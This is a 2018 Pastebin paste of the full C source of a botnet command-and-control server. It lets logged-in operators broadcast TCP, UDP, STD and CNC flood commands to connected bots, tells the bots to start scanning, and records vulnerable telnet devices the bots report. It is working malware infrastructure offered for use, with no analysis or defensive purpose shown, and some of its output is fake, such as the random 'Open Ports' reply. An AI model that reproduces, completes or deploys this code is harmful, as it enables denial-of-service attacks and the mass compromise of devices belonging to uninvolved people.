UNTOUCHABLEHACKERGOD

hacker server-side

Feb 5th, 2018
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.52 KB | None | 0 0
  1. //Credits to Demented
  2. //CONNECTION HANDLER MODIFIED BY Jonah
  3. //make a login.txt for logins
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netdb.h>
  10. #include <unistd.h>
  11. #include <time.h>
  12. #include <fcntl.h>
  13. #include <sys/epoll.h>
  14. #include <errno.h>
  15. #include <pthread.h>
  16. #include <signal.h>
  17. #define HACKERZ "V1"
  18. #define MAXFDS 1000000
  19. char *colorCodes[] = {"31m", "32m", "33m", "34m", "35m", "36m"};
  20. char *ports[] = {"80", "3075", "443", "22", "53", "3074", "23", "8080"};
  21. struct account {
  22. char id[20];
  23. char password[20];
  24. };
  25. static struct account accounts[50];
  26. struct clientdata_t {
  27. uint32_t ip;
  28. char build[7];
  29. char connected;
  30. } clients[MAXFDS];
  31. struct telnetdata_t {
  32. int connected;
  33. int hax;
  34. } managements[MAXFDS];
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int managesConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  43. {
  44. int total = 0, got = 1;
  45. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46. return got;
  47. }
  48. void trim(char *str)
  49. {
  50. int i;
  51. int begin = 0;
  52. int end = strlen(str) - 1;
  53. while (isspace(str[begin])) begin++;
  54. while ((end >= begin) && isspace(str[end])) end--;
  55. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  56. str[i - begin] = '\0';
  57. }
  58. static int make_socket_non_blocking (int sfd)
  59. {
  60. int flags, s;
  61. flags = fcntl (sfd, F_GETFL, 0);
  62. if (flags == -1)
  63. {
  64. perror ("fcntl");
  65. return -1;
  66. }
  67. flags |= O_NONBLOCK;
  68. s = fcntl (sfd, F_SETFL, flags);
  69. if (s == -1)
  70. {
  71. perror ("fcntl");
  72. return -1;
  73. }
  74. return 0;
  75. }
  76. int hackz;
  77. static int create_and_bind (char *port)
  78. {
  79. struct addrinfo hints;
  80. struct addrinfo *result, *rp;
  81. int s, sfd;
  82. memset (&hints, 0, sizeof (struct addrinfo));
  83. hints.ai_family = AF_UNSPEC;
  84. hints.ai_socktype = SOCK_STREAM;
  85. hints.ai_flags = AI_PASSIVE;
  86. s = getaddrinfo (NULL, port, &hints, &result);
  87. if (s != 0)
  88. {
  89. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  90. return -1;
  91. }
  92. for (rp = result; rp != NULL; rp = rp->ai_next)
  93. {
  94. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  95. if (sfd == -1) continue;
  96. int yes = 1;
  97. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  98. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  99. if (s == 0)
  100. {
  101. break;
  102. }
  103. close (sfd);
  104. }
  105. if (rp == NULL)
  106. {
  107. fprintf (stderr, "Could not bind\n");
  108. return -1;
  109. }
  110. freeaddrinfo (result);
  111. return sfd;
  112. }
  113. void broadcast(char *msg, int us, char *sender)
  114. {
  115. int sendMGM = 1;
  116. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  117. char *wot = malloc(strlen(msg) + 10);
  118. memset(wot, 0, strlen(msg) + 10);
  119. strcpy(wot, msg);
  120. trim(wot);
  121. time_t rawtime;
  122. struct tm * timeinfo;
  123. time(&rawtime);
  124. timeinfo = localtime(&rawtime);
  125. char *timestamp = asctime(timeinfo);
  126. trim(timestamp);
  127. int i;
  128. for(i = 0; i < MAXFDS; i++)
  129. {
  130. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  131. if(sendMGM && managements[i].connected)
  132. {
  133. send(i, "\x1b[36m", 5, MSG_NOSIGNAL);
  134. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  135. send(i, ": ", 2, MSG_NOSIGNAL);
  136. }
  137. printf("sent to fd: %d\n", i);
  138. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  139. char *root1[1024];
  140. sprintf(root1, "\r\n\x1b[%s-> \x1b[37m ", colorCodes[rand() % 6]);
  141. if(sendMGM && managements[i].connected) send(i, root1, strlen(root1), MSG_NOSIGNAL);
  142. else send(i, "\n", 1, MSG_NOSIGNAL);
  143. }
  144. free(wot);
  145. }
  146. void *epollEventLoop(void *useless)
  147. {
  148. struct epoll_event event;
  149. struct epoll_event *events;
  150. int s;
  151. events = calloc (MAXFDS, sizeof event);
  152. while (1)
  153. {
  154. int n, i;
  155. n = epoll_wait (epollFD, events, MAXFDS, -1);
  156. for (i = 0; i < n; i++)
  157. {
  158. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  159. {
  160. clients[events[i].data.fd].connected = 0;
  161. close(events[i].data.fd);
  162. continue;
  163. }
  164. else if (listenFD == events[i].data.fd)
  165. {
  166. while (1)
  167. {
  168. struct sockaddr in_addr;
  169. socklen_t in_len;
  170. int infd, ipIndex;
  171. in_len = sizeof in_addr;
  172. infd = accept (listenFD, &in_addr, &in_len);
  173. if (infd == -1)
  174. {
  175. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  176. else
  177. {
  178. perror ("accept");
  179. break;
  180. }
  181. }
  182. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  183. int dup = 0;
  184. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  185. {
  186. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  187. if(clients[ipIndex].ip == clients[infd].ip)
  188. {
  189. dup = 1;
  190. break;
  191. }
  192. }
  193. if(dup)
  194. {
  195. if(send(infd, "!* KICKMEPLS\r\n", 14, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  196. if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  197. close(infd);
  198. continue;
  199. }
  200. s = make_socket_non_blocking (infd);
  201. if (s == -1) { close(infd); break; }
  202. event.data.fd = infd;
  203. event.events = EPOLLIN | EPOLLET;
  204. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  205. if (s == -1)
  206. {
  207. perror ("epoll_ctl");
  208. close(infd);
  209. break;
  210. }
  211. clients[infd].connected = 1;
  212. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  213. }
  214. continue;
  215. }
  216. else
  217. {
  218. int thefd = events[i].data.fd;
  219. struct clientdata_t *client = &(clients[thefd]);
  220. int done = 0;
  221. client->connected = 1;
  222. while (1)
  223. {
  224. int cheats;
  225. ssize_t count;
  226. char buf[2048];
  227. memset(buf, 0, sizeof buf);
  228. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  229. {
  230. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  231. trim(buf);
  232. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  233. {
  234. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  235. continue;
  236. }
  237. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  238. {
  239. char *line = strstr(buf, "REPORT ") + 7;
  240. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  241. fflush(telFD);
  242. TELFound++;
  243. continue;
  244. }
  245. if(strstr(buf, "PROBING") == buf)
  246. {
  247. char *line = strstr(buf, "PROBING");
  248. scannerreport = 1;
  249. continue;
  250. }
  251. if(strstr(buf, "REMOVING PROBE") == buf)
  252. {
  253. char *line = strstr(buf, "REMOVING PROBE");
  254. scannerreport = 0;
  255. continue;
  256. }
  257. if(strcmp(buf, "PONG") == 0)
  258. {
  259. continue;
  260. }
  261. printf("buf: \"%s\"\n", buf);
  262. }
  263. if (count == -1)
  264. {
  265. if (errno != EAGAIN)
  266. {
  267. done = 1;
  268. }
  269. break;
  270. }
  271. else if (count == 0)
  272. {
  273. done = 1;
  274. break;
  275. }
  276. }
  277. if (done)
  278. {
  279. client->connected = 0;
  280. close(thefd);
  281. }
  282. }
  283. }
  284. }
  285. }
  286. unsigned int clientsConnected()
  287. {
  288. int i = 0, total = 0;
  289. for(i = 0; i < MAXFDS; i++)
  290. {
  291. if(!clients[i].connected) continue;
  292. total++;
  293. }
  294. return total;
  295. }
  296. void *titleWriter(void *sock)
  297. {
  298. int thefd = (int)sock;
  299. char string[2048];
  300. while(1)
  301. {
  302. memset(string, 0, 2048);
  303. sprintf(string, "%c]0;[+] Bots Online: %d [-] Hackers Online: %d [+]%c", '\033', clientsConnected(), managesConnected, '\007');
  304. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  305. sleep(2);
  306. }
  307. }
  308. int Search_in_File(char *str)
  309. {
  310. FILE *fp;
  311. int line_num = 0;
  312. int find_result = 0, find_line=0;
  313. char temp[512];
  314. if((fp = fopen("login.txt", "r")) == NULL){
  315. return(-1);
  316. }
  317. while(fgets(temp, 512, fp) != NULL){
  318. if((strstr(temp, str)) != NULL){
  319. find_result++;
  320. find_line = line_num;
  321. }
  322. line_num++;
  323. }
  324. if(fp)
  325. fclose(fp);
  326. if(find_result == 0)return 0;
  327. return find_line;
  328. }
  329. void *telnetWorker(void *sock)
  330. {
  331. char usernames[80];
  332. int thefd = (int)sock;
  333. int find_line;
  334. managesConnected++;
  335. pthread_t title;
  336. char counter[2048];
  337. memset(counter, 0, 2048);
  338. char buf[2048];
  339. char* nickstring;
  340. char* username;
  341. char* password;
  342. memset(buf, 0, sizeof buf);
  343. char hackz[2048];
  344. memset(hackz, 0, 2048);
  345. FILE *fp;
  346. int i=0;
  347. int c;
  348. fp=fopen("login.txt", "r"); // format: user pass
  349. while(!feof(fp))
  350. {
  351. c=fgetc(fp);
  352. ++i;
  353. }
  354. int j=0;
  355. rewind(fp);
  356. while(j!=i-1)
  357. {
  358. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  359. ++j;
  360. }
  361. sprintf(hackz, "\x1b[%sUsername:\x1b[30m ", colorCodes[(rand() % 6)]);
  362. if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  363. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  364. trim(buf);
  365. sprintf(usernames, buf);
  366. nickstring = ("%s", buf);
  367. find_line = Search_in_File(nickstring);
  368. if(strcmp(nickstring, accounts[find_line].id) == 0){
  369. sprintf(hackz, "\x1b[%sPassword:\x1b[30m ", colorCodes[(rand() % 6)]);
  370. if (send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  371. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  372. trim(buf);
  373. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  374. memset(buf, 0, 2048);
  375. goto hacker;
  376. }
  377. failed:
  378. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  379. if(send(thefd, "\x1b[36m Attempting To Log IP Address\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  380. sleep(2);
  381. if(send(thefd, "\x1b[36m Successfully Logged Bye Bitch\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  382. sleep(2);
  383. goto end;
  384. hacker:
  385. if (send(thefd, "\x1b[36mLoading Botnet\r\n", 35, MSG_NOSIGNAL) == -1) goto end;
  386. sleep(2);
  387. pthread_create(&title, NULL, &titleWriter, sock);
  388. sprintf(hackz, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  389. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  390. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;//im a hacker hehehe
  391. if (send(thefd, " `7MMF' `7MMF' `7MM OO\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  392. if (send(thefd, " MM MM MM 88\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  393. if (send(thefd, " MM MM ,6'Yb. ,p6'bo MM ,MP'.gP'Ya `7Mb,od8 ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  394. if (send(thefd, " MMmmmmmmMM 8) MM 6M' OO MM ;Y ,M' Yb MM' '' ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  395. if (send(thefd, " MM MM ,pm9MM 8M MM;Mm 8M'''''' MM `'\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  396. if (send(thefd, " MM MM 8M MM YM. , MM `Mb.YM. , MM ,,\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  397. if (send(thefd, " .JMML. .JMML.`Moo9^Yo.YMbmd'.JMML. YA.`Mbmmd'.JMML. db \r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  398. sprintf(hackz, "\r\n \x1b[37m[+]-\x1b[%sWelcome %s To The Hacker Net\x1b[37m-[+]\r\n\r\n\x1b[36mPleas Type RULES: \x1b[37m", colorCodes[(rand() % 6)], usernames);
  399. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  400. pthread_create(&title, NULL, &titleWriter, sock);
  401. managements[thefd].connected = 1;
  402. while(fdgets(buf, sizeof buf, thefd) > 0)
  403. {
  404. if (strncmp(buf, "SHOW", 4) == 0 || strncmp(buf, "BOTS", 4) == 0 || strncmp(buf, "bots", 4) == 0)
  405. {
  406. sprintf(hackz, "[\x1b[36m+\x1b[37m] Bots Online: %d [\x1b[31m-\x1b[37m] Hackers Online: %d [\x1b[36m+\x1b[37m]\r\n", clientsConnected(), managesConnected);
  407. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  408. }
  409. if (strncmp(buf, "status", 6) == 0 || strncmp(buf, "STATUS", 6) == 0)
  410. {
  411. sprintf(hackz, "[\x1b[36m+\x1b[37m] Telnet devices: %d [\x1b[31m-\x1b[37m] Telnet status: % [\x1b[36m+\x1b[37m]\r\n", TELFound, scannerreport);
  412. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  413. }
  414. if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  415. {
  416. sprintf(hackz, "[\x1b[36m+\x1b[37m] Successfully Sent Attack [\x1b[36m+\x1b[37m]\r\n");
  417. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  418. }
  419. if (strncmp(buf, "rules", 5) == 0 || strncmp(buf, "RULES", 5) == 0)
  420. {
  421. sprintf(hackz, "Please Read The Following Rules if not will result in ban\r\n1.) DO NOT SHARE YOUR ACCOUNT INFO \r\n2.) DO NOT SPAM THE NET\r\n3.) Dont hit any goverment websites\r\n");
  422. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  423. }
  424. if (strncmp(buf, "HELP", 4) == 0 || strncmp(buf, "help", 4) == 0 || strncmp(buf, "menu", 4) == 0)
  425. {
  426. sprintf(hackz, "\x1b[37m[+\x1b[36m]Attack Commands----------------------------------\x1b[37m\r\n");
  427. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  428. sprintf(hackz, "\x1b[37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n");
  429. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  430. sprintf(hackz, "\x1b[37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n");
  431. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  432. sprintf(hackz, "\x1b[37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n");
  433. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  434. sprintf(hackz, "\x1b[37m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n");
  435. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  436. sprintf(hackz, "\x1b[37m[+]\x1b[36mExtra Commands-----------------------------------\x1b[37m\r\n");
  437. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  438. sprintf(hackz, "\x1b[37m!* KILLATTK | KILLS ALL ATTACKS\r\n");
  439. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  440. sprintf(hackz, "\x1b[37m!* PORT_SCAN IP | MAKE SURE TO PUT THE IP AT THE END\r\n");
  441. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  442. sprintf(hackz, "\x1b[37m[+]\x1b[36mTerminal Commands----------------------------------\x1b[37m\r\n");
  443. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  444. sprintf(hackz, "\x1b[37mBOTS | SHOWS BOT COUNT\r\n");
  445. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  446. sprintf(hackz, "\x1b[37mCLS | CLEARS YOUR SCREEN\r\n");
  447. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  448. }
  449. if(strstr(buf, "PORT_SCAN")) {
  450. sleep(2);
  451. sprintf(hackz, "Open Ports %s, %s\r\n", ports[(rand() % 8)], ports[(rand() % 8)]);
  452. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) return;
  453. }
  454. if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0)
  455. {
  456. sprintf(hackz, "\r\n \x1b[%s\r\n", colorCodes[(rand() % 6)]);
  457. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  458. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  459. if (send(thefd, " `7MMF' `7MMF' `7MM OO\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  460. if (send(thefd, " MM MM MM 88\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  461. if (send(thefd, " MM MM ,6'Yb. ,p6'bo MM ,MP'.gP'Ya `7Mb,od8 ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  462. if (send(thefd, " MMmmmmmmMM 8) MM 6M' OO MM ;Y ,M' Yb MM' '' ||\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  463. if (send(thefd, " MM MM ,pm9MM 8M MM;Mm 8M'''''' MM `'\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  464. if (send(thefd, " MM MM 8M MM YM. , MM `Mb.YM. , MM ,,\r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  465. if (send(thefd, " .JMML. .JMML.`Moo9^Yo.YMbmd'.JMML. YA.`Mbmmd'.JMML. db \r\n", 68, MSG_NOSIGNAL) == -1) goto end;
  466. sprintf(hackz, "\r\n \x1b[37m[+]-\x1b[%sWelcome %s To The Hacker Net\x1b[37m-[+]\r\n\r\n", colorCodes[(rand() % 6)], usernames);
  467. if(send(thefd, hackz, strlen(hackz), MSG_NOSIGNAL) == -1) goto end;
  468. pthread_create(&title, NULL, &titleWriter, sock);
  469. managements[thefd].connected = 1;
  470. }
  471. if (strncmp(buf, "exit", 4) == 0 || strncmp(buf, "EXIT", 4) == 0 || strncmp(buf, "LOGOUT", 6) == 0)
  472. {
  473. goto end;
  474. }
  475. if (strncmp(buf, "2000", 4) == 0 || strncmp(buf, "2100", 4) == 0 || strncmp(buf, "2200", 4) == 0 || strncmp(buf, "2300", 4) == 0 || strncmp(buf, "2400", 4) == 0 || strncmp(buf, "2500", 4) == 0)
  476. {
  477. printf("Over Time By %s\n", accounts[find_line].id, buf);
  478. FILE *logFile;
  479. logFile = fopen("OverTime.log", "a");
  480. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  481. fclose(logFile);
  482. goto end;
  483. }
  484. if(strstr(buf, "LOLNOGTFO"))
  485. {
  486. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  487. FILE *logFile;
  488. logFile = fopen("KILL.log", "a");
  489. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  490. fclose(logFile);
  491. goto end;
  492. }
  493. if(strstr(buf, "SH"))
  494. {
  495. printf("ATTEMPT TO SH BOTS BY %s\n", accounts[find_line].id, buf);
  496. FILE *logFile;
  497. logFile = fopen("SH.log", "a");
  498. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  499. fclose(logFile);
  500. goto end;
  501. }
  502. trim(buf);
  503. char *root2[1024];
  504. sprintf(root2, "\x1b[%s->\x1b[0;37m ", colorCodes[rand() % 5]);
  505. if(send(thefd, root2, strlen(root2), MSG_NOSIGNAL) == -1) goto end;
  506. if(strlen(buf) == 0) continue;
  507. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  508. FILE *logFile;
  509. logFile = fopen("report.log", "a");
  510. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  511. fclose(logFile);
  512. broadcast(buf, thefd, usernames);
  513. memset(buf, 0, 2048);
  514. }
  515. end: // cleanup dead socket
  516. managements[thefd].connected = 0;
  517. close(thefd);
  518. managesConnected--;
  519. }
  520. void *telnetListener(int port)
  521. {
  522. int sockfd, newsockfd;
  523. socklen_t clilen;
  524. struct sockaddr_in serv_addr, cli_addr;
  525. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  526. if (sockfd < 0) perror("ERROR opening socket");
  527. bzero((char *) &serv_addr, sizeof(serv_addr));
  528. serv_addr.sin_family = AF_INET;
  529. serv_addr.sin_addr.s_addr = INADDR_ANY;
  530. serv_addr.sin_port = htons(port);
  531. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  532. listen(sockfd,5);
  533. clilen = sizeof(cli_addr);
  534. while(1)
  535. {
  536. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  537. if (newsockfd < 0) perror("ERROR on accept");
  538. pthread_t thread;
  539. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  540. }
  541. }
  542. int main (int argc, char *argv[], void *sock)
  543. {
  544. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  545. int s, threads, port;
  546. struct epoll_event event;
  547. if (argc != 4)
  548. {
  549. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  550. exit (EXIT_FAILURE);
  551. }
  552. port = atoi(argv[3]);
  553. printf("\x1b[33mHacka Shit By Jonah\x1b[0m\n");
  554. telFD = fopen("telnet.txt", "a+");
  555. threads = atoi(argv[2]);
  556. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  557. if (listenFD == -1) abort ();
  558. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  559. if (s == -1) abort ();
  560. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  561. if (s == -1)
  562. {
  563. perror ("listen");
  564. abort ();
  565. }
  566. epollFD = epoll_create1 (0);
  567. if (epollFD == -1)
  568. {
  569. perror ("epoll_create");
  570. abort ();
  571. }
  572. event.data.fd = listenFD;
  573. event.events = EPOLLIN | EPOLLET;
  574. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  575. if (s == -1)
  576. {
  577. perror ("epoll_ctl");
  578. abort ();
  579. }
  580. pthread_t thread[threads + 2];
  581. while(threads--)
  582. {
  583. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL);
  584. }
  585. pthread_create(&thread[0], NULL, &telnetListener, port);
  586. while(1)
  587. {
  588. broadcast("PING", -1, "HACKER");
  589. sleep(60);
  590. }
  591. close (listenFD);
  592. return EXIT_SUCCESS;
  593. }
Add Comment
Please, Sign In to add comment